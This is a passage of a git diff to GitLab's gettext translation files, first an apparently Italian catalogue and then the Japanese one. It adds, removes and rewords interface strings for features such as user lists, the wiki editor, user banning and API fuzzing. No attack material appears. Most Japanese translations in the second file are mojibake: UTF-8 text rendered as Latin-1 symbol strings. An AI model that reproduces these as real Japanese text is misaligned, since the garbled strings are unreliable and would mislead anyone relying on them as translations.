msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr "Carica file"
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr "Usa le tue impostazioni globali "
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr "Non ci sono sufficienti dati da mostrare su questo stadio"
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr "Non puoi scrivere su un'istanza di GitLab Geo secondaria di sola lettura
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/ja/gitlab.po b/locale/ja/gitlab.po
index 8cbc28ad89f..656e535649d 100644
--- a/locale/ja/gitlab.po
+++ b/locale/ja/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ja\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:22\n"
+"PO-Revision-Date: 2021-06-01 20:41\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -230,6 +230,10 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] "%d 件ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’ラベル付ãã§ã‚¤ãƒ³ãƒãƒ¼ãƒˆã—ã¾ã—ãŸ"
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d 個ã®ãƒ¬ã‚¤ãƒ¤ãƒ¼"
@@ -487,9 +491,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr "%{group_docs_link_start}グループ%{group_docs_link_end}を使用ã™ã‚‹ã¨ã€è¤‡æ•°ã®ãƒ—ロジェクトを管ç†ã—ã¦å…±åŒä½œæ¥­ã‚’è¡Œã†ã“ã¨ãŒã§ãã¾ã™ã€‚グループã®ãƒ¡ãƒ³ãƒãƒ¼ã¯ã€æ‰€å±žã™ã‚‹ãƒ—ロジェクトã®ã™ã¹ã¦ã«ã‚¢ã‚¯ã‚»ã‚¹ã§ãã¾ã™ã€‚"
-
msgid "%{group_name} activity"
msgstr ""
@@ -592,11 +593,11 @@ msgstr "GitLab Inc. ã«ã©ã®ã‚ˆã†ãªæƒ…報を共有ã™ã‚‹ã‹ã«ã¤ã„ã¦ã¯ %{
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "ロールã®æ¨©é™ã«ã¤ã„ã¦%{link_start}ã‚‚ã£ã¨èª­ã‚€%{link_end}"
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
-msgstr "タイトルã‹ã‚‰ %{link_start} %{draft_or_wip_snippet} ã®ãƒ—レフィックス %{link_end} を削除ã—ã¦ã€æº–å‚™ãŒã§ã次第マージリクエストをマージã§ãるよã†ã«ã™ã‚‹ã€‚"
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
-msgstr "タイトルã®å…ˆé ­ã« %{link_start} %{draft_snippet} ã¾ãŸã¯ %{wip_snippet}%{link_end} を書ã„ã¦ã€ä½œæ¥­ä¸­ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆãŒæº–å‚™ãŒã§ãã‚‹ã¾ã§ãƒžãƒ¼ã‚¸ã•ã‚Œãªã„よã†ã«ã—ã¾ã™ã€‚"
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow}ã€ãã—ã¦ã•ã‚‰ã« %{awardsListLength} 個。"
@@ -732,6 +733,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr "%{retryButtonStart}ã‚‚ã†ä¸€åº¦è©¦ã™%{retryButtonEnd} ã¾ãŸã¯ %{newFileButtonStart}æ–°ã—ã„ファイルを添付ã™ã‚‹%{newFileButtonEnd}。"
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds} 秒"
@@ -779,9 +786,6 @@ msgstr "%{state}エピック"
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr "ソースブランãƒã‚’%{strongStart}削除%{strongEnd}"
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr "%{strongStart}注: %{strongEnd} カスタムステージを追加後ã«ã€ã‚¹ãƒ†ãƒ¼ã‚¸ã‚’目的ã®ä½ç½®ã«ãƒ‰ãƒ©ãƒƒã‚°ã—ã¦ã€ã‚¹ãƒ†ãƒ¼ã‚¸ã‚’並ã¹æ›¿ãˆã¦ãã ã•ã„。"
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -886,9 +890,15 @@ msgstr "%{userName} (マージã§ãã¾ã›ã‚“)"
msgid "%{userName}'s avatar"
msgstr "%{userName}ã®ã‚¢ãƒã‚¿ãƒ¼"
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr "%{user_name} プロフィールページ"
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr "%{username} ãŒã‚¤ãƒ³ã‚¹ã‚¿ãƒ³ã‚¹ %{host} ã® GitLab アカウントをリクエストã—ã¾ã—ãŸã€‚"
@@ -952,9 +962,6 @@ msgstr "'%{name}' ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ ãŒå‰Šé™¤ã•ã‚Œã¾ã—ãŸ"
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr "'%{name}'ステージã¯ã™ã§ã«ã‚ã‚Šã¾ã™"
-
msgid "'%{source}' is not a import source"
msgstr "'%{source}' ã¯ã‚¤ãƒ³ãƒãƒ¼ãƒˆã‚½ãƒ¼ã‚¹ã§ã¯ã‚ã‚Šã¾ã›ã‚“。"
@@ -1260,6 +1267,9 @@ msgstr "Let's Encrypt ã®SSL証明書ã¯ã€ã‚ãªãŸã®ãƒ‰ãƒ¡ã‚¤ãƒ³ãŒç¢ºèªã•ã
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr "Let's Encryptアカウントをã“ã®GitLabインストール用ã«æ§‹æˆã™ã‚‹ãŸã‚ã«ã‚ãªãŸã®ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã‚’使用ã—ã¾ã™ã€‚証明書ã®æœŸé™ãŒåˆ‡ã‚ŒãŸéš›ã€è­¦å‘Šãƒ¡ãƒ¼ãƒ«ãŒå±Šãã¾ã™ã€‚"
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr "AWS Lambdaã€AWS API Gatewayã€ãŠã‚ˆã³GitLab Pagesを使用ã™ã‚‹åŸºæœ¬çš„ãªãƒšãƒ¼ã‚¸ã¨ã‚µãƒ¼ãƒãƒ¼ãƒ¬ã‚¹é–¢æ•°"
@@ -1281,6 +1291,9 @@ msgstr "削除ã•ã‚ŒãŸãƒ¦ãƒ¼ã‚¶ãƒ¼"
msgid "A description is required"
msgstr "説明ã¯å¿…須項目ã§ã™ã€‚"
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr "ファイルãŒå¤‰æ›´ã•ã‚Œã¾ã—ãŸã€‚"
@@ -1350,9 +1363,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr "アメリカåˆè¡†å›½ä¿å¥ç¦ç¥‰çœãŒç™ºè¡Œã—ãŸHIPAA監査プロトコルã®å„監査照会ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’å«ã‚€ãƒ—ロジェクト"
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr "プロジェクトã¨ã¯ãƒªãƒã‚¸ãƒˆãƒªã«ãƒ•ã‚¡ã‚¤ãƒ«ã‚’æ ¼ç´ã—ã€ã‚¤ã‚·ãƒ¥ãƒ¼ã§è¨ˆç”»ã‚’ç«‹ã¦ã€Wikiã§ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆã‚’公開ã™ã‚‹å ´æ‰€ã§ã™ã€‚ %{among_other_things_link}"
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1365,6 +1375,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr "外部ストレージリクエストを識別ã™ã‚‹ã€ã‚»ã‚­ãƒ¥ã‚¢ãƒˆãƒ¼ã‚¯ãƒ³"
@@ -1410,9 +1423,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1452,19 +1462,16 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
-msgstr "例: Project_Test/File/example_fuzz.har"
-
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|Generate code snippet"
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
+msgid "APIFuzzing|Generate code snippet"
msgstr ""
msgid "APIFuzzing|Make sure your credentials are secured"
@@ -1473,9 +1480,6 @@ msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1491,7 +1495,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1518,6 +1522,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr "AWS アクセスキー"
@@ -1785,6 +1798,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr "箇æ¡æ›¸ãリストを追加"
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr "ã“ã®è¡Œã«ã‚³ãƒ¡ãƒ³ãƒˆã‚’追加"
@@ -2061,6 +2077,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr "上記ã®ãƒ•ã‚£ãƒ«ã‚¿ãƒ¼/検索æ¡ä»¶ã‚’調整ã—ã¦ãã ã•ã„。ã“ã‚ŒãŒã‚¨ãƒ©ãƒ¼ã¨è€ƒãˆã‚‰ã‚Œã‚‹å ´åˆã¯ã€ %{linkStart}Geo Troubleshooting%{linkEnd} ドキュメントをå‚ç…§ã—ã¦ãã ã•ã„。"
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr "管ç†è€…エリア"
@@ -2226,9 +2245,6 @@ msgstr "環境変数ã¯ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã§ä¿è­·ã•ã‚Œã¦ã„ã¾ã™"
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr "一般設定ã«ç§»å‹•"
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2241,9 +2257,6 @@ msgstr "インテグレーションã«ç§»å‹•"
msgid "AdminSettings|No required pipeline"
msgstr "必須パイプラインãªã—"
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr "管ç†è¨­å®š |必須パイプライン設定"
@@ -2268,9 +2281,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr "インスタンス全体ã«è‡ªå‹•èª­ã¿è¾¼ã¿ã•ã‚Œã‚‹ %{link_start}パイプライン設定%{link_end} を設定ã—ã¾ã™ã€‚ã“ã®ãƒ‘イプライン設定ã¯ãƒ—ロジェクト独自ã®è¨­å®šã®å¾Œã«å®Ÿè¡Œã•ã‚Œã¾ã™ã€‚"
-msgid "AdminSettings|Some settings have moved"
-msgstr "一部ã®è¨­å®šã¯ç§»å‹•ã—ã¾ã—ãŸ"
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "ã™ã¹ã¦ã®ãƒ—ロジェクトã®Auto Review AppãŠã‚ˆã³Auto Deployステージã§ä½¿ç”¨ã™ã‚‹ã€ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã®ãƒ‰ãƒ¡ã‚¤ãƒ³ã‚’指定ã—ã¾ã™ã€‚"
@@ -2316,6 +2326,9 @@ msgstr "スニペット"
msgid "AdminUsers|(Admin)"
msgstr "(管ç†è€…)"
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr "(ブロック)"
@@ -2334,6 +2347,9 @@ msgstr "2FA 無効"
msgid "AdminUsers|2FA Enabled"
msgstr "2FA 有効"
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr "アクセス"
@@ -2382,6 +2398,21 @@ msgstr "本当ã«ã‚ˆã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
msgid "AdminUsers|Automatically marked as default internal user"
msgstr "自動的ã«ã€ãƒ‡ãƒ•ã‚©ãƒ«ãƒˆã®å†…部ユーザーã¨ã—ã¦ãƒžãƒ¼ã‚¯ã—ã¾ã—ãŸã€‚"
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr "グループã¨ãƒ—ロジェクトã«è¿½åŠ ã™ã‚‹"
@@ -2412,6 +2443,9 @@ msgstr "LDAP ã§ãƒ–ロックã•ã‚ŒãŸãƒ¦ãƒ¼ã‚¶ãƒ¼ã‚’ブロック解除ã§ãã¾ã
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr "無効ã«ã™ã‚‹"
@@ -2466,6 +2500,9 @@ msgstr "シートを使用中"
msgid "AdminUsers|It's you!"
msgstr "ã‚ãªãŸã§ã™ï¼"
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr "ログイン"
@@ -2494,10 +2531,10 @@ msgid "AdminUsers|Reactivating a user will:"
msgstr "ユーザーã®å†æœ‰åŠ¹åŒ–:"
msgid "AdminUsers|Regular"
-msgstr ""
+msgstr "標準"
msgid "AdminUsers|Regular users have access to their groups and projects"
-msgstr ""
+msgstr "標準ユーザーã¯ã‚°ãƒ«ãƒ¼ãƒ—やプロジェクトã«ã‚¢ã‚¯ã‚»ã‚¹ã§ãã¾ã™"
msgid "AdminUsers|Reject"
msgstr "æ‹’å¦"
@@ -2547,11 +2584,20 @@ msgstr "確èªã®ãŸã‚ã€%{projectName} を入力ã—ã¦ãã ã•ã„"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "確èªã®ãŸã‚ã€%{username} を入力ã—ã¦ãã ã•ã„"
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
